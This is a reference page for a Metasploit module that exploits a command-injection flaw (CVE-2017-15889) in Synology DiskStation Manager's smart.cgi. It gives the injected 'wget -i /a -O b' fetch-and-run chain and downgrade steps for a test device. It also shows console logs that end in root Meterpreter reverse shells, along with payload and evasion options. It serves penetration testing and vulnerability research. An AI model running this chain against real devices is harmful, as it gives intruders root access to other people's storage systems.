Synology DiskStation Manager smart.cgi Remote Command Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/synology_dsm_smart_exec_auth metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Synology DiskStation Manager smart.cgi Remote Command Execution
Module: exploit/linux/http/synology_dsm_smart_exec_auth
Source code: modules/exploits/linux/http/synology_dsm_smart_exec_auth.rb
Disclosure date: 2017-11-08
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): python
Supported platform(s): Python
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 5000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-15889
This module exploits a vulnerability found in Synology DiskStation Manager (DSM) versions < 5.2-5967-5, which allows the execution of arbitrary commands under root privileges after website authentication. The vulnerability is located in webman/modules/StorageManager/smart.cgi, which allows appending of a command to the device to be scanned. However, the command with drive is limited to 30 characters. A somewhat valid drive name is required, thus /dev/sd is used, even though it doesn't exist. To circumvent the character restriction, a wget input file is staged in /a, and executed to download our payload to /b. From there the payload is executed. A wfsdelay is required to give time for the payload to download, and the execution of it to run.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/http/synology_dsm_smart_exec_auth
msf exploit(synology_dsm_smart_exec_auth) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits a vulnerability found in Synology DiskStation Manager (DSM) versions < 5.2-5967-5, which allows the execution of arbitrary commands under root privileges after website authentication.
The vulnerability is located in webman/modules/StorageManager/smart.cgi
, which
allows appending of a command to the device to be scanned. However, the command
with drive is limited to 30 characters. A somewhat valid drive name is required,
thus /dev/sd is used, even though it doesn't exist. To circumvent the character
restriction, a wget input file is staged in /a, and executed to download our payload
to /b. From there the payload is executed. A wfsdelay is required to give time
for the payload to download, and the execution of it to run.
A more detailed explination of exploitation steps:
- We first clean the env by deleting
/a
, andb
- we use
echo -n
to append our IP:PORT for our staging server to/a
. This is done in small chunks to stay under the character limit. - we call
wget -i /a -O b
to write our payload tob
in/usr/syno/synoman/webman/modules/StorageManager
- we wait for HTTP Server to receive the
wget
request and send back the payload. Then we execute it.
Notes
smart.cgi
and our payload are located in /usr/syno/synoman/webman/modules/StorageManager
.
/var/log/messages
will contain logs of exploitation:
May 19 16:35:50 oldNas smart.cgi: smart.cpp:477 smartctl system command failed cmd: /usr/syno/bin/smartctl -d sat -t short /dev/sd`wget -i /a -O b` > /dev/null 2>&1 ret: 4
May 19 16:35:50 oldNas smart.cgi: smart.cpp:846 error
No randomization was chosen on the a
and b
file names since we're so limited on characters as it is.
While it would be possible to randomize a single character, it didn't seem worth the effort.
Device Downgrade
The vulnerable DSM can be downloaded from Synology
Essentially Synology doesn't want you to downgrade. In order to do so, we need to mount the recovery boot loader and overwrite it with synology 5.2. Then when we cause an issue (by removing the disks on boot), it will boot to the recovery. Since the recovery is 5.2, it will let us install the 'current' version of 5.2.
You'll want to watch Downgrade DSM6.x to DSM 5.2
The notes from the video are:
- Turn on synology and backup data if needed.
- Create a shared folder. ("test" is used in this guide)
- Locally, extract 4 files from DSM 5644.pat (grub_cksum.syno, rd.gz, zImage, checksum.syno) and place the files in the newly created shared folder on the NAS.
- Enable telnet/ssh in the DSM control panel.
- telnet/ssh to the diskstation.
- Log in as admin.
- Type
sudo su
. The password it asks for will also be the admins password. - Type
cd /dev
to change to the devices directory. - Type
ls synoboot2
to make sure synoboot2 is listed. - Type
mkdir /mnt/synoboot
to make a directory to mount to. - Type
mount synoboot2 /mnt/synoboot
to mount the boot files to the directory we created. - Type
cd /mnt/synoboot
to change to that directory. - Type
ls
to view the files in the directory. (note that the names of the 4 files we put in the shared folder, should be there. Although these ones listed are the DSM6 versions) - Type
cp /volume1/test/checksum.syno /mnt/synoboot
. - Type
cp /volume1/test/grub_cksum.syno /mnt/synoboot
. - Type
cp /volume1/test/rd.gz /mnt/synoboot
. - Type
cp /volume1/test/zImage /mnt/synoboot
. - Go back into the DSM interface and shutdown. Once the device is shutdown, remove the disks. (This step is important because if you do not remove the disks, the next powerup will detect an issue and recover the DSM6 boot image)
- Power the device up. Should say no disks inserted. Before clicking the connect again button, put the hard disks back in and wait for the HDD LED's to light up.
- If disks are in, click the connect again button. Next page should come up saying to reinstall DSM. Make sure to choose the 5967 pat file so that the bootimage is overwritten correctly.
- Good to go! Data should remain intact as long as it is in a shared folder, and DSM should be a completely stock 5.2 - 5967.
Verification Steps
- Install the 5.2 vulnerable DSM
- Start msfconsole
- Do:
use exploit/linux/http/synology_dsm_smart_exec_auth
- Do:
set username <username>
- Do:
set password <password>
- Do:
run
- You should get a root shell.
Options
Password
Password for website login. Default is password
.
Username
Username for website login. Default is admin
.
wfsdelay
Wfsdelay needs to be at least a couple seconds to allow for payload download and staging. Default is 10
.
Scenarios
DS412+ with DSM 5.2-5644
[*] Processing synology.rc for ERB directives.
resource (synology.rc)> use modules/exploits/linux/http/synology_dsm_smart_exec_auth
resource (synology.rc)> set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
resource (synology.rc)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (synology.rc)> set lport 60111
lport => 60111
resource (synology.rc)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (synology.rc)> set srvhost 1.1.1.1
srvhost => 1.1.1.1
resource (synology.rc)> set username admin
username => admin
resource (synology.rc)> set password password
password => password
resource (synology.rc)> set verbose true
verbose => true
resource (synology.rc)> rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 1.1.1.1:60111
[*] Trying to detect installed version
[*] Model DS412+ with version 5.2-5644 detected
[*] Attempting Login
[*] Using URL: http://1.1.1.1:8080/
[*] Cleaning env
[*] Staging wget with: echo -n '1.1'>>/a
[*] Staging wget with: echo -n '.1.1:'>>/a
[*] Staging wget with: echo -n '8080'>>/a
[*] Requesting payload pull
[+] HTTP Server request received, sending payload
[*] Executing payload
[*] Sending stage (53755 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:60111 -> 2.2.2.2:42353) at 2020-05-19 20:13:33 -0400
[*] Server stopped.
[!] This exploit may require manual cleanup of '/usr/syno/synoman/webman/modules/StorageManager/b' on the target
[!] This exploit may require manual cleanup of '/a' on the target
meterpreter >
[+] Deleted /usr/syno/synoman/webman/modules/StorageManager/b
[+] Deleted /a
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : oldNas
OS : Linux 3.10.35 #5644 SMP Thu Nov 12 17:18:22 CST 2015
Architecture : x64
Meterpreter : python/linux
meterpreter > cat /etc.defaults/VERSION
majorversion="5"
minorversion="2"
buildphase="hotfix"
buildnumber="5644"
smallfixnumber="0"
builddate="2015/11/12"
buildtime="17:17:21"
meterpreter >
DS410 with DSM 5.2-5644
This unit's version was not able to be determined automatically. forceexploit
was set to true
to enable it to run.
msf5 exploit(linux/http/synology_dsm_smart_exec_auth) > run
[*] Started reverse TCP handler on 192.168.135.168:4567
[*] Trying to detect installed version
[*] Attempting Login
[*] Using URL: http://192.168.135.168:8080/
[*] Cleaning env
[*] Staging wget with: echo -n '192.168'>>/a
[*] Staging wget with: echo -n '.135.16'>>/a
[*] Staging wget with: echo -n '8:8080'>>/a
[*] Requesting payload pull
[+] HTTP Server request received, sending payload
[*] Executing payload
[*] Sending stage (53755 bytes) to 192.168.132.107
[*] Meterpreter session 1 opened (192.168.135.168:4567 -> 192.168.132.107:54951) at 2020-05-20 13:53:18 -0500
[*] Server stopped.
[!] This exploit may require manual cleanup of '/usr/syno/synoman/webman/modules/StorageManager/b' on the target
[!] This exploit may require manual cleanup of '/a' on the target
meterpreter >
[+] Deleted /usr/syno/synoman/webman/modules/StorageManager/b
[+] Deleted /a
meterpreter > sysinfo
Computer : DiskStation
OS : Linux 2.6.32.12 #5644 Thu Nov 12 17:17:40 CST 2015
Architecture : ppc
Meterpreter : python/linux
meterpreter > exit
Go back to menu.
Msfconsole Usage
Here is how the linux/http/synology_dsm_smart_exec_auth exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/synology_dsm_smart_exec_auth
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(linux/http/synology_dsm_smart_exec_auth) > show info
Name: Synology DiskStation Manager smart.cgi Remote Command Execution
Module: exploit/linux/http/synology_dsm_smart_exec_auth
Platform: Python
Arch: python
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-11-08
Provided by:
Nigusu Kassahun
h00die
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The Password for Synology
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5000 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI of the Synology Website
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes The Username for Synology
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a vulnerability found in Synology DiskStation
Manager (DSM) versions < 5.2-5967-5, which allows the execution of
arbitrary commands under root privileges after website
authentication. The vulnerability is located in
webman/modules/StorageManager/smart.cgi, which allows appending of a
command to the device to be scanned. However, the command with drive
is limited to 30 characters. A somewhat valid drive name is
required, thus /dev/sd is used, even though it doesn't exist. To
circumvent the character restriction, a wget input file is staged in
/a, and executed to download our payload to /b. From there the
payload is executed. A wfsdelay is required to give time for the
payload to download, and the execution of it to run.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-15889
https://www.exploit-db.com/exploits/43190
https://ssd-disclosure.com/ssd-advisory-synology-storagemanager-smart-cgi-remote-command-execution/
https://synology.com/en-global/security/advisory/Synology_SA_17_65_DSM
Module Options
This is a complete list of options available in the linux/http/synology_dsm_smart_exec_auth exploit:
msf6 exploit(linux/http/synology_dsm_smart_exec_auth) > show options
Module options (exploit/linux/http/synology_dsm_smart_exec_auth):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The Password for Synology
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5000 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI of the Synology Website
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes The Username for Synology
VHOST no HTTP server virtual host
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/http/synology_dsm_smart_exec_auth exploit:
msf6 exploit(linux/http/synology_dsm_smart_exec_auth) > show advanced
Module advanced options (exploit/linux/http/synology_dsm_smart_exec_auth):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 10 no Additional delay in seconds to wait for a session
Payload advanced options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpReferer no An optional value to use for the Referer HTTP header
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PythonMeterpreterDebug false no Enable debugging for the Python meterpreter
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/synology_dsm_smart_exec_auth module can exploit:
msf6 exploit(linux/http/synology_dsm_smart_exec_auth) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/synology_dsm_smart_exec_auth exploit:
msf6 exploit(linux/http/synology_dsm_smart_exec_auth) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/python/meterpreter/bind_tcp normal No Python Meterpreter, Python Bind TCP Stager
6 payload/python/meterpreter/bind_tcp_uuid normal No Python Meterpreter, Python Bind TCP Stager with UUID Support
7 payload/python/meterpreter/reverse_http normal No Python Meterpreter, Python Reverse HTTP Stager
8 payload/python/meterpreter/reverse_https normal No Python Meterpreter, Python Reverse HTTPS Stager
9 payload/python/meterpreter/reverse_tcp normal No Python Meterpreter, Python Reverse TCP Stager
10 payload/python/meterpreter/reverse_tcp_ssl normal No Python Meterpreter, Python Reverse TCP SSL Stager
11 payload/python/meterpreter/reverse_tcp_uuid normal No Python Meterpreter, Python Reverse TCP Stager with UUID Support
12 payload/python/meterpreter_bind_tcp normal No Python Meterpreter Shell, Bind TCP Inline
13 payload/python/meterpreter_reverse_http normal No Python Meterpreter Shell, Reverse HTTP Inline
14 payload/python/meterpreter_reverse_https normal No Python Meterpreter Shell, Reverse HTTPS Inline
15 payload/python/meterpreter_reverse_tcp normal No Python Meterpreter Shell, Reverse TCP Inline
16 payload/python/shell_bind_tcp normal No Command Shell, Bind TCP (via python)
17 payload/python/shell_reverse_tcp normal No Command Shell, Reverse TCP (via python)
18 payload/python/shell_reverse_tcp_ssl normal No Command Shell, Reverse TCP SSL (via python)
19 payload/python/shell_reverse_udp normal No Command Shell, Reverse UDP (via python)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/synology_dsm_smart_exec_auth exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/synology_dsm_smart_exec_auth) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Detection failed
Here is a relevant code snippet related to the "Detection failed" error message:
81: version = "#{$LAST_MATCH_INFO[:major]}.#{$LAST_MATCH_INFO[:minor]}"
82: build = $LAST_MATCH_INFO[:build]
83: model = $LAST_MATCH_INFO[:model].sub(/^[a-z]+/) { |s| s[0].upcase }
84: model = "DS#{model}" unless model =~ /^[A-Z]/
85: else
86: vprint_error('Detection failed')
87: return CheckCode::Unknown
88: end
89:
90: vprint_status("Model #{model} with version #{version}-#{build} detected")
91:
5967-5
Here is a relevant code snippet related to the "5967-5" error message:
91:
92: case version
93: when '3.0', '4.0', '4.1', '4.2', '4.3', '5.0', '5.1'
94: return CheckCode::Appears
95: when '5.2'
96: return CheckCode::Appears if build < '5967-5'
97: end
98:
99: CheckCode::Safe
100: end
101:
Incorrect Username/Password
Here is a relevant code snippet related to the "Incorrect Username/Password" error message:
144: }
145: })
146: if res && %r{<div id='synology'>(?<json>.*)</div>}m =~ res.body
147: result = JSON.parse(json)
148:
149: fail_with(Failure::BadConfig, 'Incorrect Username/Password') if result['result'] == 'error'
150: if result['result'] == 'success'
151: return res.get_cookies, result['SynoToken']
152: end
153:
154: fail_with(Failure::Unknown, "Unknown response: #{result}")
Unknown response: <RESULT>
Here is a relevant code snippet related to the "Unknown response: <RESULT>" error message:
149: fail_with(Failure::BadConfig, 'Incorrect Username/Password') if result['result'] == 'error'
150: if result['result'] == 'success'
151: return res.get_cookies, result['SynoToken']
152: end
153:
154: fail_with(Failure::Unknown, "Unknown response: #{result}")
155: end
156: end
157:
158: def exploit
159: if datastore['SRVHOST'] == '0.0.0.0'
SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful
Here is a relevant code snippet related to the "SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful" error message:
155: end
156: end
157:
158: def exploit
159: if datastore['SRVHOST'] == '0.0.0.0'
160: fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
161: end
162:
163: begin
164: print_status('Attempting Login')
165: cookie, token = login
<PEER> - Could not connect to the web service
Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:
187: print_status('Requesting payload pull')
188: register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b')
189: register_file_for_cleanup('/a')
190: inject_request(cookie, token, cmd = 'wget -i /a -O b')
191: # at this point we let the HTTP server call the last stage
192: # wfsdelay should be long enough to hold out for everything to download and run
193: rescue ::Rex::ConnectionError
194: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
195: end
196: end
197: end
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE-2017-15889
- EDB-43190
- https://ssd-disclosure.com/ssd-advisory-synology-storagemanager-smart-cgi-remote-command-execution/
- https://synology.com/en-global/security/advisory/Synology_SA_17_65_DSM
See Also
Check also the following modules related to this module:
- exploit/linux/http/synology_dsm_sliceupload_exec_noauth
- auxiliary/scanner/http/synology_forget_passwd_user_enum
- exploit/windows/firewall/kerio_auth
- exploit/windows/imap/novell_netmail_auth
- exploit/windows/oracle/osb_ndmp_auth
- auxiliary/admin/http/supra_smart_cloud_tv_rfi
- auxiliary/scanner/misc/cisco_smart_install
- post/windows/gather/credentials/smartermail
- post/windows/gather/credentials/smartftp
- post/windows/gather/smart_hashdump
Authors
- Nigusu Kassahun
- h00die
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.